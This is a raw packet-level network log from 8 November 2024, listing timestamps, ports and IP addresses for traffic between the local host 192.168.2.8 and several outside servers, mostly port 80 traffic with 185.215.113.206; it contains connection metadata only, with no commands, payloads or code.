Nov 8, 2024 15:21:15.843586922 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.843605995 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.846652985 CET	443	49822	204.79.197.219	192.168.2.8
Nov 8, 2024 15:21:15.846909046 CET	49822	443	192.168.2.8	204.79.197.219
Nov 8, 2024 15:21:15.846935034 CET	443	49822	204.79.197.219	192.168.2.8
Nov 8, 2024 15:21:15.847908020 CET	443	49822	204.79.197.219	192.168.2.8
Nov 8, 2024 15:21:15.847974062 CET	49822	443	192.168.2.8	204.79.197.219
Nov 8, 2024 15:21:15.848916054 CET	49822	443	192.168.2.8	204.79.197.219
Nov 8, 2024 15:21:15.848963022 CET	443	49822	204.79.197.219	192.168.2.8
Nov 8, 2024 15:21:15.865005970 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.865104914 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.865624905 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.865642071 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.865703106 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.865720034 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.865869999 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.866538048 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.866553068 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.866614103 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.866625071 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.866657972 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.866854906 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.866906881 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.879744053 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.879774094 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.879786015 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.879851103 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.879874945 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.879901886 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.879915953 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.879945040 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.897454977 CET	49822	443	192.168.2.8	204.79.197.219
Nov 8, 2024 15:21:15.897485971 CET	443	49822	204.79.197.219	192.168.2.8
Nov 8, 2024 15:21:15.920027971 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.920067072 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.920077085 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.920118093 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.920130968 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.920181990 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.920186996 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.920197010 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.920284033 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.944008112 CET	49822	443	192.168.2.8	204.79.197.219
Nov 8, 2024 15:21:15.961878061 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.961893082 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.961899996 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.961916924 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.961958885 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.961988926 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.962613106 CET	49827	443	192.168.2.8	20.125.209.212
Nov 8, 2024 15:21:15.962655067 CET	443	49827	20.125.209.212	192.168.2.8
Nov 8, 2024 15:21:15.962729931 CET	49827	443	192.168.2.8	20.125.209.212
Nov 8, 2024 15:21:15.962976933 CET	49827	443	192.168.2.8	20.125.209.212
Nov 8, 2024 15:21:15.962990046 CET	443	49827	20.125.209.212	192.168.2.8
Nov 8, 2024 15:21:15.984330893 CET	443	49824	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:15.984682083 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.984713078 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.984778881 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.984803915 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.984832048 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.984852076 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.985075951 CET	49824	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:15.985109091 CET	443	49824	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:15.985295057 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.985354900 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.986120939 CET	443	49824	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:15.986207008 CET	49824	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:15.986229897 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.986249924 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.986284018 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.986305952 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.986323118 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.986346960 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.986972094 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.987018108 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.987035036 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.987047911 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.987062931 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.987076998 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.987114906 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.987329960 CET	49824	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:15.987395048 CET	443	49824	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:15.987698078 CET	49824	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:15.987710953 CET	443	49824	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:15.987951994 CET	49814	443	192.168.2.8	23.38.189.114
Nov 8, 2024 15:21:15.987972021 CET	443	49814	23.38.189.114	192.168.2.8
Nov 8, 2024 15:21:15.995358944 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.995388985 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.995400906 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.995439053 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.995449066 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.995467901 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.995469093 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.995469093 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.995480061 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.995493889 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.995522976 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.995522976 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.995582104 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.995592117 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.995598078 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.995606899 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.995625019 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.995634079 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.995637894 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.995651007 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.995662928 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.995677948 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:15.995685101 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.995685101 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:15.995857954 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.033529997 CET	443	49819	23.198.7.172	192.168.2.8
Nov 8, 2024 15:21:16.033763885 CET	49819	443	192.168.2.8	23.198.7.172
Nov 8, 2024 15:21:16.033797026 CET	443	49819	23.198.7.172	192.168.2.8
Nov 8, 2024 15:21:16.034379959 CET	49824	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:16.035068989 CET	443	49819	23.198.7.172	192.168.2.8
Nov 8, 2024 15:21:16.035160065 CET	49819	443	192.168.2.8	23.198.7.172
Nov 8, 2024 15:21:16.035494089 CET	49819	443	192.168.2.8	23.198.7.172
Nov 8, 2024 15:21:16.035603046 CET	443	49819	23.198.7.172	192.168.2.8
Nov 8, 2024 15:21:16.035767078 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.035897017 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.035909891 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.035996914 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.035996914 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.036096096 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.036108017 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.036217928 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.075440884 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.075455904 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.075494051 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.075551987 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.075671911 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.075742960 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.075754881 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.075826883 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.076006889 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.076252937 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.081732035 CET	49819	443	192.168.2.8	23.198.7.172
Nov 8, 2024 15:21:16.081758976 CET	443	49819	23.198.7.172	192.168.2.8
Nov 8, 2024 15:21:16.118792057 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.118820906 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.118851900 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.118905067 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.119781971 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.119795084 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.119910002 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.128643036 CET	49819	443	192.168.2.8	23.198.7.172
Nov 8, 2024 15:21:16.133127928 CET	49828	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:16.133168936 CET	443	49828	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:16.133425951 CET	49828	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:16.133900881 CET	49828	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:16.133920908 CET	443	49828	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:16.151184082 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.151212931 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.151223898 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.151242971 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.151338100 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.151354074 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.152820110 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.152853966 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.152904034 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.152915955 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.152985096 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.152985096 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.153018951 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.153208971 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.154052019 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.154077053 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.154090881 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.154119968 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.154141903 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.154264927 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.154278040 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.154314041 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.154357910 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.155652046 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.155672073 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.155683041 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.155716896 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.155728102 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.155738115 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.155775070 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.171336889 CET	443	49824	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:16.173017025 CET	443	49824	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:16.173193932 CET	49824	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:16.174274921 CET	49824	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:16.174300909 CET	443	49824	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:16.191569090 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.191585064 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.191596985 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.191628933 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.191641092 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.191679955 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.191679955 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.192173004 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.192262888 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.215759039 CET	443	49821	204.79.197.219	192.168.2.8
Nov 8, 2024 15:21:16.216043949 CET	49821	443	192.168.2.8	204.79.197.219
Nov 8, 2024 15:21:16.216068983 CET	443	49821	204.79.197.219	192.168.2.8
Nov 8, 2024 15:21:16.217099905 CET	443	49823	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:16.217143059 CET	443	49821	204.79.197.219	192.168.2.8
Nov 8, 2024 15:21:16.217192888 CET	49821	443	192.168.2.8	204.79.197.219
Nov 8, 2024 15:21:16.217293024 CET	49823	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:16.217298985 CET	443	49823	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:16.217566013 CET	49821	443	192.168.2.8	204.79.197.219
Nov 8, 2024 15:21:16.217632055 CET	443	49821	204.79.197.219	192.168.2.8
Nov 8, 2024 15:21:16.226438046 CET	443	49823	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:16.226506948 CET	49823	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:16.227102041 CET	49823	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:16.227158070 CET	443	49823	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:16.258194923 CET	49821	443	192.168.2.8	204.79.197.219
Nov 8, 2024 15:21:16.258209944 CET	443	49821	204.79.197.219	192.168.2.8
Nov 8, 2024 15:21:16.273756027 CET	49823	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:16.273776054 CET	443	49823	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:16.301592112 CET	49821	443	192.168.2.8	204.79.197.219
Nov 8, 2024 15:21:16.316113949 CET	49823	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:16.430574894 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.430597067 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.430608034 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.430634022 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.430670023 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.447221994 CET	49829	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:16.447268963 CET	443	49829	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:16.447545052 CET	49829	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:16.453516960 CET	49829	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:16.453541994 CET	443	49829	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:16.462208986 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.462255001 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.462301970 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.462301970 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.463288069 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.463325024 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.463336945 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.463376045 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.463408947 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.463466883 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.463486910 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.463500023 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.463552952 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.463558912 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.463639021 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.463649035 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.463660002 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.463679075 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.463679075 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.463709116 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.463778973 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.463790894 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.463802099 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.463829994 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.463854074 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.463927984 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.463939905 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.463951111 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.463999033 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.463999033 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.464077950 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.464087009 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.464133978 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.464143038 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.464144945 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.464188099 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.464241982 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.464287996 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.464298964 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.464337111 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.464339972 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.464378119 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.464378119 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.464483976 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.464494944 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.464528084 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.464570999 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.464665890 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.464742899 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.464754105 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.464812040 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.464849949 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.464860916 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.464864016 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.464874029 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.464903116 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.464903116 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.464934111 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.464993000 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.465004921 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.465070009 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.465070009 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.465090990 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.465101957 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.465115070 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.465126991 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.465138912 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.465138912 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.465166092 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.465178013 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.465253115 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.465317011 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.465327978 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.465347052 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.465403080 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.494497061 CET	49830	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:16.494539976 CET	443	49830	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:16.494616032 CET	49830	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:16.494874001 CET	49830	443	192.168.2.8	23.198.7.178
Nov 8, 2024 15:21:16.494889021 CET	443	49830	23.198.7.178	192.168.2.8
Nov 8, 2024 15:21:16.502988100 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.503000975 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.503011942 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.503060102 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.503108978 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.503145933 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.503156900 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.503168106 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.503196001 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.503238916 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.585637093 CET	443	49825	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:16.585840940 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.585870981 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.585906982 CET	49825	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:16.585906982 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.585926056 CET	443	49825	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:16.585952997 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.586358070 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.586378098 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.586484909 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.587007999 CET	443	49825	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:16.587054968 CET	49825	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:16.587409973 CET	49825	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:16.587472916 CET	443	49825	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:16.587580919 CET	49825	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:16.587582111 CET	49825	443	192.168.2.8	52.178.17.3
Nov 8, 2024 15:21:16.587596893 CET	443	49825	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:16.587627888 CET	443	49825	52.178.17.3	192.168.2.8
Nov 8, 2024 15:21:16.617213964 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.617228031 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.617352009 CET	49753	80	192.168.2.8	185.215.113.206
Nov 8, 2024 15:21:16.618328094 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.618351936 CET	80	49753	185.215.113.206	192.168.2.8
Nov 8, 2024 15:21:16.618364096 CET	80	49753	185.215.113.206	192.168.2.8
